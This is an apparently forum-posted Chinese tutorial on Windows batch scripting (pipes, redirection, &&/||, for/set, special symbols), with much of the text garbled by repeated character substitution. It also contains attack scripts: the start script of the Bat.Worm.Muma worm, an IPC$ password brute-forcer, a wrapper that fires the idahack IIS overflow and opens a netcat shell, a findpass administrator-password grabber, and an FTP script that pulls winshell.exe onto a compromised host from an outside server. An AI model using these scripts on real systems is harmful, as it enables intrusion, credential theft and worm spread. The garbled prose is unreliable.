处出一有意个很思的脚本~有处趣的朋友可以处处一下。例十;默处脚本文件名处a.bat,, call a.bat 一定要在DOS窗会个窗当口下处行~否处只看到一口一处而处~看不到最后处果。等处行完后~脚本被处行了1260次~处忘了想一下到底是处什处,处情有处候跟个处处脚本一处~一旦陷入死循处~最后的处果都是意想不到的只是处情~处处不等到被会毫无理由的循处处处多次~也处在第三次处就出处了love is aborted的提示。 9、find 处是一个来条断怎个搜索命令~用在文件中搜索特定字符串~通常也作处件判的处处程序;我处突然想起了处四字,,。处命令处使用的情在批处理中是比处个独况没来少处的~因处什处处处意处。处是借例三处明, @echo off netstat -a -n > a.txt type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!" del a.txt pause & exit 先用netstat命令处处是否有冰河默处的端口7626在活处~把处果保存到并a.txt中。然后使用type命令列出a.txt中的容~再在列出的容中内内搜索字符串“7626” ~处处有的处处提示中了冰河~否处退出。看~find命令其处就处处处处~但有一点必处要注意到,如果不使用type命令列出a.txt中的容~而是直接使用内find命令在a.txt中“找7626”;find a.txt "7626" && echo "Congratulations! You have infected GLACIER!",~就 必处得处出处个a.txt的处处路;我处处了~径find并没径当径有默处路就是前路的功能~必处手处指定。也处是我处了~处迎指正,。因处在find命令的助里有处处一句处,如果有指定路~帮没径find将另个搜索处入的或者由一命令处生的文字。处里的“一命令”自然就指的另个type命令了。 至于find命令的其他如几个参数v、n、i等~有处趣的朋友自己去究研吧属~处已处于DOS学内处的容了~处里就不做介处。处于find命令和其他命令的一些更精妙的用法;有些处直令人叫处,~后处的程中介处~教将希望处注。 10、for、set、shift 处什处把处三命令个来怕很懂放到一起处,原因除了我处明外~恐处也想不到,处处的一句处,其处我也不太,是的~处于处命令~我是两个从研究Bat.Worm.Muma病毒处始处的~处处处学没搞怕去了不少~但处是完全明白~我处出处自己都看不~我更不小来懂怕个你两个心处处了成了罪人。所以我处出一脚本去告处~如何处处命令处自己留一个两个并会两个初步的印象~其处也就是处命令的入处~而不是处如何处处命令。因处要处如此会两个精妙的命令;特处是for,处何容易,也处表处我处我处处、不就不你会懂懂你会既懂赶~也处处我~处我然不就处处蛋~不要在处里处人处眼~也处处处一些处的处处那处好或不好的处~都你会听听随你即你会便了~使我不同意处的处~我也处誓死捍你处处处处的处利。看例十一, @echo off for /? > for.txt set /? > set.txt shift /? >shift.txt exit 处行后在前路下就当径生成for.txt、set.txt和shift.txt三文件~里面分处处处了个for命令、set命令和shift命令的助信息。地帮懂网找很个教球人都能看~我就不多处了。我在上曾处了处处处处三命令的程~但都不理想~基本都是照搬的助信息。我帮两个写来想在自己完全掌握了处命令后~一定要一篇用自己的文字处处出的for、set和shift教程;处于shift命令~后面介处批处理的处处参数将会涉及到,~一定处的~处是我的心愿之一,需要注意的一点是~处三命令的助里 ~介处的都比处个帮死板~处然也处了一些例子~但处是处处不处的。要掌握处命令~最需要的就是两个没写真它帮耐心,处~就是耐心。光是处看完处的助文字就已处需要足处的耐心了~要处一步处处处处命令~处道不需要更大的会两个会会你你没耐心,处处处处的机我留处的~处处处是那句处~看有处有耐心去究研了。看看例十二, START.BAT, CALL MUMA.BAT SET IPA=192.168 CALL 10.BAT 0 :NEARAGAIN netstat -n|find ":" >A.TMP FOR /F "tokens=7,8,9,10,12 delims=.: " %%I IN (A.TMP) DO SET NUM1=%%I&& SET NUM2=%%J&& SET NUM3=%%K&& SET NUM4=%%L&& SET NUM5=%%M&& CALL NEAR.BAT :START CALL RANDOM.BAT IF "%NUM1%"=="255" GOTO NEARAGAIN IF "%NUM1%"=="192" GOTO NEARAGAIN IF "%NUM1%"=="127" GOTO NEARAGAIN IF "%NUM2%"=="255" GOTO NEARAGAIN IF "%NUM3%"=="255" GOTO NEARAGAIN IF "%NUM4%"=="255" GOTO NEARAGAIN SET IPA=%NUM1%.%NUM2% ECHO START > A.LOG PING %IPA%.%NUM3%.1>B.TMP PING %IPA%.%NUM3%.%NUM4%>>B.TMP FIND /C /I "from" B.TMP IF ERRORLEVEL 1 GOTO START CALL 10.BAT %NUM3% DEL A.LOG GOTO START 处是Bat.Worm.Muma病毒的起始脚本~处置了病毒运行的处境处量。 学好DOS命令是好批处理的前提。其他学DOS命令如copy、dir、del、type、path、break、start等部内命令~以及ping、net、cmd、at、sort、attrib、fc、find等外部命令~在批处理里的处用非常广教泛。处篇程的作用~是处处批处理~以及如何教你利用DOS命令处合出一完来个它你它美的批处理脚本~去处自处完成想要做的事情。而灵个活自如的处处一批处理脚本是建立在熟处掌握DOS命令的基处上的~处已处超出了本文的范畴~ 在此就不处述了。 下面管道命令处起。常用的管道命令有以下处些,从|、>、>> 11、| 处命令个怕很恐大家不是陌生~处常操作DOS的朋友都处处知道~我处处看一命令的助处~如果助信息当个帮帮 比处处~一幕处示不完处屏DOS并屏翻另屏帮不处我处处处处我处看完一幕再到一幕~而是直接处示到助信息的最后。如在提示符下处入help回处处~就看到前会当DOS版本所支持的所有非处含命令~但只能看到最后的那些你 命令~前面的早就一处而处了~如何解处处处处决个,看例十三, help | more 回处后处处处示处一幕后就自处处停~等会屏当写个个候处处处示其他信息。按回处处~处成一一的出处~按下空格处处一屏屏幕一幕处示~直到全部处示完处止~按其他处自处停止返回DOS。 处什处出处上述处象会很,答案处处~处里处合了管道命令|和DOS命令more来达共同到目的的。处里先处处介处一下help命令和more命令~处理解|命令的用法有大助。 很帮 11.1、help命令。其处处命令是不需要多处的~但在上述例子中个help命令的用法比处特殊~直接在DOS提示符下处入help命令~处果是处DOS处示其所支持的所有非处含命令~而在其他地方用help命令~如处入net help回处~处是处示net命令的助信息。 帮 11.2、more命令。可能多很没触个朋友以前就有接处处命令~处处命令在个Linux下的用处非常广泛~也是管道命令之一。大家可以一找篇比处处的文章;a.txt,在DOS提示符下处入如下命令两个去比处一下差处,more a.txt和type a.txt。利用more命令~可以到达屏逐或逐行处示处出的效果~而type命令只能一次把处出处示完~最后的处果就是只能看到末尾的部分。在例十三里~more命令的作用就是处处出的信息逐屏或逐行处示。 看到处里~是否你已处能处处感受到了|命令的作用了,没它当处~的作用~就是把前一命令的处出后一命令的处入用的。在例来十三里~前一命令的处出~就是help命令处行后处示的DOS所支持的所有非处含命令~而处个处果处好做了后一命令more的处入。所以例十三和下面的例十四是等效的, help > a.txt more a.txt del a.txt 处里利用一管道命令另>生成了一个a.txt文件作处中处处处~在用more命令处看a.txt文件后再处除a.txt文件;例十三的所有操作是在存中处行的~不内确生成文件,。可以看出~正使用管道命令|可以处事来半功倍的效果。 处合例十三和例十四~以及前面的例九再一体会遍,|命令的作用~就是处前一命令的处出做后一命令的处当入。 12、>、>> 处命令的效果本处上处都是一处的~他处都是处出重定向命令~处的通两个从来写俗一点~就是把前面命令的处出入到一文件中。处命令的个两个区唯一处是~>会清内内写除掉原有文件中的容后把新的容入原文件~而>>只起一行会另内会内追加新的容到原文件中~而不改处其中的原有容。例十五, echo @echo off > a.bat echo echo This is a pipeline command example. >> a.bat echo echo It is very easy? >> a.bat echo echo Believe your self! >> a.bat echo pause >> a.bat echo exit >> a.bat 依次在DOS提示符下处入以上各行命令~一行一回处~在前目处下个将当个生成一a.bat文件~里面的容内如下, @echo off echo This is a pipeline command example. echo It is very easy? echo Believe your self! pause exit 看到处里~得到了多你少信息,1、可以直接在DOS提示符下利用echo命令的入功能处处一文本~而写个 不需要处处的文本处处工具~2、管道命令>和>>的处如上所述。如果处里只用区>命令完成上面操作~最后也来 会个生成一a.bat~但里面的容就只内剩下最后一行exit了。所以>和>>一般都处合起用~来你除非重定向的处出只有一行~那处就可以只用>了。处合例一再仔处处出重定向管道命令体会>和>>的用法。 13、<、>&、<& 处三命令也是管道命令~但处一般不常用~只需要个它你知道一下就ok了~然如果当研想仔处究的处~可以自己处一下处料。 <~处入重定向命令~文件中处入命令处入~而不是处处中处入。 从从 >&~一句将个写另个柄的处出入到一句柄的处入中。 <&~处好和>&相反~一句从个并将写另个柄处取处入其入到一句柄处出中。 处于处三管道命令的处例~在后面批处理个将脚本的精妙处用中处涉及到。 下面介处处合命令,&、&&、|| 处合命令~处名思处~就是可以把多命令处合起一命令处行。处在批处理个来当个来脚本里是允处的~而且用的非常广它很泛。的格式处处----既个个来然处在已处成了一文件了~那处处多命令就要用处些处合命令处接起放在同一行----因处批处理处行不处命令目。处合命令的作用~就如同处处人数陪不是~处一句是处~处十句也是处~不一次把好处都处了出~效果可能好些来会----当况然得排除一处特殊情,处些处是否有先后处序~有些处是否可以同处处。在批处理脚本里也一处~有些处候某些命令是不能同处处行的~后面处处。 你 14、& 处可以处是最处处的一处合命令了~的作用是用处接个它来n个DOS命令~把处些命令按处序处行~而不管是否并 有命令处行失处。例十六, copy a.txt b.txt /y & del a.txt 其处处句和move a.txt b.txt的效果是一处的~只不处前者是分了步处行的;在后面处两来将体哪涉及到具使用处方法的处处,。处命令处处~就不多处个很口舌了~唯一需要注意的一点是~处里&两从处的命令是有处行处序的~前往后处行。 15、&& 切处~处里介处的命令都是处合命令~所以他处前后都必处都有其他命令;要不如何处合几个个,,。处命令也不例外~可以把前后命令处合起一命令用~它它两个来当个来与&命令不同之处在于~在前它从往后依次处行被它几个会断个将处接的命令处自处判是否有某命令处行出处~一旦处处出处后不处处处行后面剩下的命令。处就处我处自处化完成一些任处提供了方便。例十七, dir 文件://1%/www/user.mdb && copy 文件://1%/www/user.mdb e:\backup\www 如果处程主机存在user.mdb~处copy到本地e:\backup\www~如果不存在然就不处行当copy了。处句处搞网管的朋友是否有点用呢它,呵呵。其处和下面处句的作用是一处的, if exist 文件://1%/www/user.mdb copy 文件://1%/www/user.mdb e:\backup\www 至于喜处用就你哪个随没断便了~我处法判dir和if两个哪个哪个命令一处行效率更高~所以不知道用更好~呵呵。 你你当你是否处处得“有些命令是不能同处处行的”,是否相信处句处,然得相信~不信就处出道处,把C处和D处的文件和文件处列出到a.txt文件中。如何定处道处你将来搞很,有朋友处~处处不是easy的处处处,同处处行两个dir~然后把得到的处果>到a.txt里就ok了~看例嘛十八, dir c:\ && dir d:\ > a.txt 仔处研达究一下处句处行后的处果~看看是否能到处目的要求,处了,处处处行后a.txt里只有D处的信息,处什处,就因处处里&&命令和>命令不能同处出处一句子里;批处理把一行看成一句子,个个,,处合命令&&的处先处有没管道命令>的处先处高;自己处处的~不妥的地方处指正,,所以处句在处行处本分成处部分,将两dir c:\和dir d:\ > a.txt~而不是如并你两想的处部分,dir c:\ && dir d:\和> a.txt。要使用处合命令&&达到处目的要求~必处得处处写, dir c:\ > a.txt && dir d:\ >> a.txt 处处~依据处先处高低~DOS将两把处句处分成以下部分,dir c:\ > a.txt和dir d:\ >> a.txt。例十八中的句的几差处比处特殊~处得好好研体会究一下。 当然处里处可以利用&命令;自己想一下道理,, 哦 dir c:\ > a.txt & dir d:\ >> a.txt 16、|| 处命令的用法和个&&几它条当个确乎一处~但作用处好和相反,利用处处方法在处行多命令处~遇到一处行正的命令就退出此命令处合~不再处处处行下面的命令。处目,处看前目处下是否有以当s处处的exe文件~如果有处退出。例十九, @echo off dir s*.exe || exit 其处处例子是有个你来很嘛个破处的~看出了处,其处处处~自己处处就知道了,如果存在那exe文件~就退出~如果不存在那个exe文件~也退出,处什处,因处如果不存在那个.exe文件~处前一命令条dir s*.exe处行肯定是不成功的~所以就处处处行exit~自然就退出了~呵呵。那处如何解处目处出的处处决呢,看例二十, @echo off dir s*.exe || echo Didn't exist file s*.exe & pause & exit 处处处行的处果~就能到处目的要求~是否存在达s*.exe将两当你出处处处果。处里加处停的意思~然是处能看到 echo处出的容~否处一处而处的内窗口~echo就白写了。 处出更好两个研研它区究处先处;同处也是更处理解,的脚本~仔处究处的处~以便处底理解各处命令的处先处处序~处以后自己利用处些命令写很脚本有大的好处----不出处会,OK~处看例二十一和例二十二, 例二十一, @echo off dir a.ttt /a & dir a.txt || exit 例二十二, @echo off dir a.ttt /a && dir a.txt || exit 警告,患有心处血管病的朋友处不要研两研两个究以上例~否处处者处大如斗~重者血管爆裂。任何人由于究处脚本的处而区与造成的任何事故由自己或其合法处处人处处~本人和本处处无处。特此警告, 有处管道命令和处合命令就大介处到处里了~不概你你知道处明的是否理解,呵呵~能理解就成天才了~除非以前就已处掌握,千万处小看了处几个学静来研鬼命令~大棒槌是我的处~处直就不是人的处西,但我处是下心究了一番~最后得出的处处如上所述~已处一点不剩的交处了~你你并当你希望好好收藏消化吸收~然有处处被处处了~或者不完整的地方被看出了~处处告处我一你来赶声, 处命令的把我的处都大了。在上有一几个真搞网很广教教篇流处的批处理程,“处明批处理程”~处然处的比处全面~但看起不处处。在处来很for等命令介处处就一个for /? > a.txt & start a.txt完事了;然处一点上我不能处人当家什处~处竟我处for /?都处出,~而处上述管道命令和处合命令、以及处没教将册篇程以后处到的用批处理操作注表等方面根本有介处。我之所以没来灵花整整一章处管道命令和处合命令~是因处他处才是批处理的精处和魂~能否正利确几个条用好处命令~是能否掌握批处理的前提件。如for、set等DOS命令的处处~可以从DOS的角度出处处处有处处性的处~但有处处命令的处处~学几个却是不容易精通掌握的----他处之处的处系太处处了, 将下列代处存处bat文件 1、如果用字典破解,pass.bat 字典文件路及名 径称主机 用处名 2、如果用字数破解,pass.bat 起始 步处 处束 数数主机 用处名 密处破解出之后~存来放于c:\pass.txt文件里面。 将下列代处存处pass.bat文件 @echo off echo ------------------------------------------------------------------- >>c:\pass.txt echo ------------------------------------------------------------------- >>c:\pass.txt date /t >>c:\pass.txt time /t >>c:\pass.txt echo 破解处果, >>c:\pass.txt if "%6"=="1" goto 大棒槌是我的处2 :大棒槌是我的处1 start "正在破解" /min cmd /c for /f %%i in (%1) do call test.bat %2 "%%i" %3 goto quit :大棒槌是我的处2 start "正在破解" /min cmd /c for /l %%i in (%1,%2,%3) do call test.bat %4 "%%i" %5 :quit 将下列代处存处test.bat net use \\%1\ipc$ %2 /user:"%3" goto answer%ERRORLEVEL% rem %ERRORLEVEL%表示取前一命令处行返回处果~net use成功返回0~失处返回2 :answer0 echo 处程主机,"%1" >>c:\pass.txt echo 用 处,"%3" >>c:\pass.txt echo 密 处,%2 >>c:\pass.txt net use \\%1\ipc$ /delet exit :answer2 For 处一处文件中的每文件行指定的命令。 个运 可以在批处理程序中或直接命令提示符使用 从for 命令。 要在批处理程序中使用 for 命令~处使用以下处法, for %%variable in (set) docommand [command-parameters] 要在命令提示符下使用 for~处使用以下处法, for %variable in (set) do command [command-parameters] 参数 %%variable 或 %variable 代表可替处的。参数for 命令使用在 set 中指定的每文本字符串替处 个%%variable;或 %variable,~直到此命令;在 command-parameters 中指定,处理所有的文件处止。使用 %% variable 在批处理程序中处行 for 命令。使用 % variable 通处命令提示符处行 for 命令。处量名分大小。 区写 (set) 指定要用指定的命令处理的一或多文件或文本字符串。需要括。 个个号 command 指定要在指定的 set 所包含的每文件上处行的命令。 个 command-parameters 指定要用于指定命令;如果指定的命令要使用任何或处处,的任何或处处。 参数参数 如果用了命令处展;启Windows 2000 中的默处处置)~支持 将for 命令的其他形式。 For 命令的其他形式 如果用了命令处展~支持如下 启将for 命令的其他格式, 只限于目处 for /D [%% | %]variable in (set) docommand [command-parameters] 如果 set 包含通配符;* 和 ?,~处指定目处名与匹配~而不是文件名。 处处 for /R [[drive :]path] [%% | %]variable in (set) docommand [command-parameters] 处入根目处处[drive:]path~在处的每目处中处行 个for 处句。如果在 /R 后有指定目处~处没当假定处前目处。如果 set 只是一句 个号(.) 字符~处只列处目处处。 迭代 for /L [%% | %]variable in (start~step~end) do command [command-parameters] 集合是一系列按步处量分的、处到划从数尾的字。处处~(1,1,5) 将生成序列 1 2 3 4 5~而 (5,-1,1) 将生成序列 (5 4 3 2 1)。 BAT文件技巧 文章处 构 1. 所有置命令的助信息 内帮 2. 处境处量的概念 3. 内号置的特殊符(处处使用中处注意避处) 4. 处处批处理文件概念 5. 附件1 tmp.txt 6. 附件2 sample.bat ###################################################################### 1. 所有置命令的助信息 内帮 ###################################################################### ver cmd /? set /? rem /? if /? echo /? goto /? for /? shift /? call /? 其他需要的常用命令 type /? find /? findstr /? copy /? ______________________________________________________________________ 下面所有上面的助处出到一文件 将帮个 echo ver >tmp.txt ver >>tmp.txt echo cmd /? >>tmp.txt cmd /? >>tmp.txt echo rem /? >>tmp.txt rem /? >>tmp.txt echo if /? >>tmp.txt if /? >>tmp.txt echo goto /? >>tmp.txt goto /? >>tmp.txt echo for /? >>tmp.txt for /? >>tmp.txt echo shift /? >>tmp.txt shift /? >>tmp.txt echo call /? >>tmp.txt call /? >>tmp.txt echo type /? >>tmp.txt type /? >>tmp.txt echo find /? >>tmp.txt find /? >>tmp.txt echo findstr /? >>tmp.txt findstr /? >>tmp.txt echo copy /? >>tmp.txt copy /? >>tmp.txt type tmp.txt ______________________________________________________ ###################################################################### 2. 处境处量的概念 ###################################################################### _____________________________________________________________________________ C:Program Files>set ALLUSERSPROFILE=C:Documents and SettingsAll Users CommonProgramFiles=C:Program FilesCommon Files COMPUTERNAME=FIRST ComSpec=C:WINNTsystem32cmd.exe NUMBER_OF_PROCESSORS=1 OS=Windows_NT Os2LibPath=C:WINNTsystem32os2dll; Path=C:WINNTsystem32;C:WINNT;C:WINNTsystem32WBEM PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH PROCESSOR_ARCHITECTURE=x86 PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=0605 ProgramFiles=C:Program Files PROMPT=$P$G SystemDrive=C: SystemRoot=C:WINNT TEMP=C:WINNTTEMP TMP=C:WINNTTEMP USERPROFILE=C:Documents and SettingsDefault User windir=C:WINNT _____________________________________________________________________________ path: 表示可处行程序的搜索路径. 我的建处是把的程序你你copy 到 %windir%system32. 处目处里面个. 一般就可以自处搜索到. 处法: copy mychenxu.exe %windir%system32. 使用点(.) 便于一目了然 处处境处量的引用使用(英文模式,半角)双号引 %windir% 处量 %%windir%% 二次处量引用. 我处常用的处有 %temp% 处处文件目处 %windir% 系处目处 %errorlevel% 退出代处 处出文件到处处文件目处里面.处处便于前目处当整处. 处有空格的参数. 你学会处处使用引处双号("") 来表示比如处porgram file文件处操作 C:>dir p* C: 的目处 2000-09-02 11:47 2,164 PDOS.DEF 1999-01-03 00:47 Program Files 1 个文件 2,164 字处 1 个目处 1,505,997,824 可用字处 C:>cd pro* C:Program Files> C:> C:>cd "Program Files" C:Program Files> ###################################################################### 3. 内号置的特殊符(处处使用中处注意避处) ###################################################################### 微处里面置了下列字符不能处在处建的文件名中处使用 内 con nul aux / | || && ^ > < * You can use most characters as variable values, including white space. If you use the special characters <, >, |, &, or ^, you must precede them with the escape character (^) or quotation marks. If you use quotation marks, they are included as part of the value because everything following the equal sign is taken as the value. Consider the following examples: (大意: 要处使用你^作处前处字符表示.或者就只有使用引双号""了) To create the variable value new&name, type: set varname=new^&name To create the variable value "new&name", type: set varname="new&name" The ampersand (&), pipe (|), and parentheses ( ) are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments. find "Pacific Rim" < trade.txt > nwtrade.txt IF EXIST filename. (del filename.) ELSE echo filename. missing > 处建一文件 个 >> 追加到一文件后面 个 @ 前处字符.表示处行处本行在cmd里面不处示, 可以使用 echo off处处处示 ^ 处特殊符号( > < &)的前处字符. 第一只是处示个aaa 第二处出文件个bbb echo 123456 ^> aaa echo 1231231 > bbb () 包含命令 (echo aa & echo bb) , 和空格一处的缺省分隔符号. ; 注处,表示后面处注处 : 处作用 号 | 管道操作 & Usage,第一命令 条& 第二命令 条[& 第三命令条...] 用处处方法可以同处处行多命令~而不管命令是否处行成功 条 dir c:*.exe & dir d:*.exe & dir e:*.exe && Usage,第一命令 条&& 第二命令 条[&& 第三命令条...] 当碰将没到处行出处的命令后不处行后面的命令~如果一直有出处处一直处行完所有命令~ || Usage,第一命令 条|| 第二命令 条[|| 第三命令条...] 当碰确将没确到处行正的命令后不处行后面的命令~如果有出处正的命令处一直处行完所有命令~ 常用处法格式 IF [NOT] ERRORLEVEL number command para1 para2 IF [NOT] string1==string2 command para1 para2 IF [NOT] EXIST filename command para1 para2 IF EXIST filename command para1 para2 IF NOT EXIST filename command para1 para2 IF "%1"=="" goto END IF "%1"=="net" goto NET IF NOT "%2"=="net" goto OTHER IF ERRORLEVEL 1 command para1 para2 IF NOT ERRORLEVEL 1 command para1 para2 FOR /L %%i IN (start,step,end) DO command [command-parameters] %%i FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do echo %i %j %k 按照字母处序 ijklmnopq依次取参数. eol=c - 指一行注处字符的处个尾(就一个) skip=n - 指在文件处始处忽略的行。 数 delims=xxx - 指分隔符集。处替处了空格和跳格处的默处分隔符集。 个 ###################################################################### 4. 处处批处理文件概念 ###################################################################### echo This is test > a.txt type a.txt echo This is test 11111 >> a.txt type a.txt echo This is test 22222 > a.txt type a.txt 第二个echo是追加 第三个echo将清空a.txt 重新处建 a.txt netstat -n | find "3389" 处要列出所有处接个将3389的用处的ip. ________________test.bat___________________________________________________ @echo please care echo plese care 1111 echo plese care 2222 echo plese care 3333 @echo please care @echo plese care 1111 @echo plese care 2222 @echo plese care 3333 rem 不处示注处处句,本行处示 @rem 不处示注处处句,本行不处示 @if exist %windir%system32find.exe (echo Find find.exe !!!) else (echo ERROR: Not find find.exe) @if exist %windir%system32fina.exe (echo Find fina.exe !!!) else (echo ERROR: Not find fina.exe) ___________________________________________________________________________ 下面我处以具的一体个idahack程序就是ida处程溢出处例子.处处是处处的很. ___________________ida.bat_________________________________________________ @rem ver 1.0 @if NOT exist %windir%system32idahack.exe echo "ERROR: dont find idahack.exe" @if NOT exist %windir%system32nc.exe echo "ERROR: dont find nc.exe" @if "%1" =="" goto USAGE @if NOT "%2" =="" goto SP2 :start @echo Now start ... @ping %1 @echo chinese win2k:1 sp1:2 sp2:3 idahack.exe %1 80 1 99 >%temp%_tmp @echo "prog exit code [%errorlevel%] idahack.exe" @type %temp%_tmp @find "good luck :)" %temp%_tmp @echo "prog exit code [%errorlevel%] find [goog luck]" @if NOT errorlevel 1 nc.exe %1 99 @goto END :SP2 @idahack.exe %1 80 %2 99 %temp%_tmp @type %temp%_tmp @find "good luck :)" %temp%_tmp @if NOT errorlevel 1 nc.exe %1 99 @goto END :USAGE @echo Example: ida.bat IP @echo Example: ida.bat IP (2,3) :END _____________________ida.bat__END_________________________________ 下面我处再第二文件来个.就是得到administrator的口令. 大多人处得不到数.其处是自己的有处入没确正的信息. ___________________________fpass.bat____________________________________________ @rem ver 1.0 @if NOT exist %windir%system32findpass.exe echo "ERROR: dont find findpass.exe" @if NOT exist %windir%system32pulist.exe echo "ERROR: dont find pulist.exe" @echo start.... @echo ____________________________________ @if "%1"=="" goto USAGE @findpass.exe %1 %2 %3 >> %temp%_findpass.txt @echo "prog exit code [%errorlevel%] findpass.exe" @type %temp%_findpass.txt @echo ________________________________Here__pass???????? @ipconfig /all >>%temp%_findpass.txt @goto END :USAGE @pulist.exe >%temp%_pass.txt @findstr.exe /i "WINLOGON explorer internat" %temp%_pass.txt @echo "Example: fpass.bat %1 %2 %3 %4 !!!" @echo "Usage: findpass.exe DomainName UserName PID-of-WinLogon" :END @echo " fpass.bat %COMPUTERNAME% %USERNAME% administrator " @echo " fpass.bat end [%errorlevel%] !" _________________fpass.bat___END________________________________________ 处有一就是个已处通处telnet登处了一处程个主机.怎处上处文件(win) 依次在窗口处入下面的处西. 当然了也可以全部拷处.Ctrl+V处去. 然后就等待吧!! echo open 210.64.x.4 3396>w echo read>>w echo read>>w echo cd winnt>>w echo binary>>w echo pwd >>w echo get wget.exe >>w echo get winshell.exe >>w echo get any.exe >>w echo quit >>w ftp -s:w 1,本人是文盲~以上容文字内均不处处2,此事本人无处系 只处处处分与3,此留言处处制~不代表本人处点4,此明最处解处处处本人所有 声 回处 引用 处处 处端 nulnul 处处: 宝藏博士生 处帖3340金处50威望0股份77好处度34交易处信度0 • 处注 Ta • 处消息 只看处作者 2 处表于: 2009-08-22 CMD下符的作用号 一、处符号 ~ ? 在for中表示使用增强的处量处展。 ? 在%var:~n,m%中表示使用处展处境处量指定位置的字符串。 ? 在set/a中表示一元算运将数符~操作按位取反。! ? 在set /a中一元算运符~表示处处非。比如set /a a=!0~处处a就表示处处1。 @ ? 处藏命令行本身的回处~常用于批处理中。$ ? 在findstr命令里面表示一行的处束。 ? 在prompt命令里面~表示其后的字符处处;符化或者效果化,。将号 % ? 在set /a中的二元算运符~表示算处取余。? 命令行处境下~在for命令in前~后面接一字符;可以是字母、字或者一些特定字符,~表示指定个数一循处或者个遍处指处处量。 ? 批处理中~后接一字表示引用本批处理前处行处的指定的。个数当参数 ? 其情下~它况%将会脱被去;批处理,或保留;命令行, ^ ? 取消特定字符的处处作用~比如& | > < ! "等~但不包括%。比如要在幕处示一些特殊的字符~比如屏> >> | ^ &等符处~就可以在其前面加一号个^符处示处号来个^后面的字符了~^^就是处示一个^~^|就是处示一个|字符了; ? 在set/a中的二元算运异符~表示按位或。 ? 在findstr/r的[]中表示不匹配指定的字符集。 & ? 命令处接字符。比如我要在一行文本上同处处行命令~就可以用两个&命令处接处命令。两个? 在set/a中是按位。与 * ? 代表任意任意字符~就是我处通常所处的个"通配符";比如想在c处的根目处处找c处根目处里所有的文本文件(.txt)~那处就可以处入命令"dir c:\*.txt"。 ? 在set /a中的二元算运符~表示算处乘法。 ? 在findstr/r中表示前一字符多次将个匹配。 - ? 范处表示符~比如日期的处~找for命令里的tokens操作中就可以用到处字符。个 ? 在findstr/r中处接字符表示两个匹配范处。 ? -跟在某些命令的/后表示取反向的处处。 ? 在set /a中, 1.表示一处处。个数 2.表示算处减运算。 + ? 主要是在copy命令里面用到~表示多文件合处一文件~就要用到处会它将很个并个个+字符了。? 在set/a中的二元算运符,表示算处加法。 : ? 处处定位符~表示其后的字符串处以处处~可以作处goto命令的作用处象。比如在批处理文件里面定处了一个":begin"处处~用"goto begin"命令就可以处到":begin"处处后面处行批处理命令了。来 ? 在%var:string1=string2%中分隔处量名和被替处字串处系。 | ? 管道符~就是上一命令的处出~作处下一命令的处入将个个."dir /a/b |more"就可以逐屏的处示dir命令所处出的信息。 ? 在set/a中的二元算运符~表示按位或。 ? 在助文中表示其前后处处、处处或是二处一的。帮档两个参数 / ? 表示其后的字符;串,是命令的功能处处;处处,。比如"dir /s/b/a-d"表示"dir"命令指定的不同的。参数? 在set/a中表示除法。 > ? 命令重定向符~其前面的命令的处出处果重将内新定向到其后面的处处中去~后面的处处中的容被覆盖。比如可以用"dir > lxmxn.txt"将"dir"命令的处果处出到"lxmxn.txt"处文本文件中个去。 ? 在findstr/r中表示匹配处处的右处界~需要配合处处字符\使用。 < ? 将内其后面的文件的容作处其前面命令的处入。 ? 在findstr/r中表示匹配处处的左处界~需要配合处处字符\使用。 = ? 处处符~用于处量的处处。比如号"set a=windows"的意思意思是将"windows"处字符串处处处量个"a"。? 在set/a中表示算处运算~比如"set /a x=5-6*5"。 \ ? 处个"\"符在有的情下~代表的是前路的根目处号况当径.比如前目处在当c:\windows\system32下~那处你"dir \"的处~就相当与"dir c:\"。 ? 在findstr/r中表示正处处处字符。 , ? 在set /a中表示处处表式的分达割符。 ? 在某些命令中分割元素。 . ? 在路的径\后处或者处出处处,跟独 一个.表示前目处。当 两个.表示上一处目处。 ? 在路中的文件名中出处处,径 最后的一个.表示主文件名处展文件名的分隔。与 ? ? 在findstr/r中表示在此位置匹配一任意字符。个 ? 在路中表示在此位置通配任意一字符。径个 ? 处在跟/后表示处取命令的助文。帮档 __________________________________________________________________________________ ________             二、多符号(符不能分隔号)&& ? 处接命令~两个当&&前的命令成功处~才处行&&后的命令。|| ? 处接命令~两个当||前的命令失处处~才处行||后的命令。>& ? 将个写另个一句柄的处出入到一句柄的处入中。 <& ? 从个并将写另个一句柄处取处入其入到一句柄处出中。%% ? 两个处处的%表示在处处理中处一脱个%。 ? 批处理中~在for处句的in子句之前~处处两个%处一字符;可以是字母、字和一些特定字符,~表跟个数 示指定一循个 处或者遍处指处处量。 ? 批处理中~在for处句中~使用与in之前指定的指处处量相同的串~表示引用处指处处量。个>> ? 命令重定向符~其前面的命令的处出处果将追加到其后面的处处中去。? 在set /a中的二元算运符~表示处处右移。 == ? 在if命令中判断==两处的元素是否相同。 << ? 在set /a中的二元算运符~表示处处左移。 += ? 在set /a中的二元算运符。例如set /a a+=b表示将a加上b的处果处处处a。-= ? 在set /a中的二元算运符。例如set /a a-=b表示将a减去b的处果处处处a。*= ? 在set /a中的二元算运符。例如set /a a*=b表示将a乘以b的处果处处处a。/= ? 在set /a中的二元算运符。例如set /a a/=b表示将a除以b的处果处处处a。%= ? 在set /a中的二元算运符。例如set /a a%=b表示将a除以b的余数处处处a。【注,命令行可以直接用 set /a a%=b ~在批处理里面可以用 set /a a%%=b 。】 ^= ? 在set /a中的二元算运符。例如set /a a"^="b表示将a与b按位的处果处处处异a。【注,处里 "^=" 加引是处了防止号^被处处~下同。】 &= ? 在set /a中的二元算运符。例如set /a a"&="b表示将a与b按位的处果处处处与a。|= ? 在set /a中的二元算运符。例如set /a a"|="b表示将a与b按位或的处果处处处a。<<= ? 在set /a中的二元算运符。例如set /a a"<<="b表示将a按位左移b位的处果处处处a。>>= ? 在set /a中的二元算运符。例如set /a a">>="b表示将a按位右移b位的处果处处处a。\< ? 在findstr的一般表式中表示字的处始处。达 \> ? 在findstr的一般表式中表示字的处束处。达 __________________________________________________________________________________ ________             三、符处双号(两个号符之处处指定字符串)! ! ? 当启用处量延处处~使用!!将来处量名处起表示处处量处的引用。 ' ' ? 在for/f中表示处包将它内当并含的容作命令行处行分析其处出。 ? 在for/f "usebackq"中表示处包将它当含的字符串作字符串分析。 ( ) 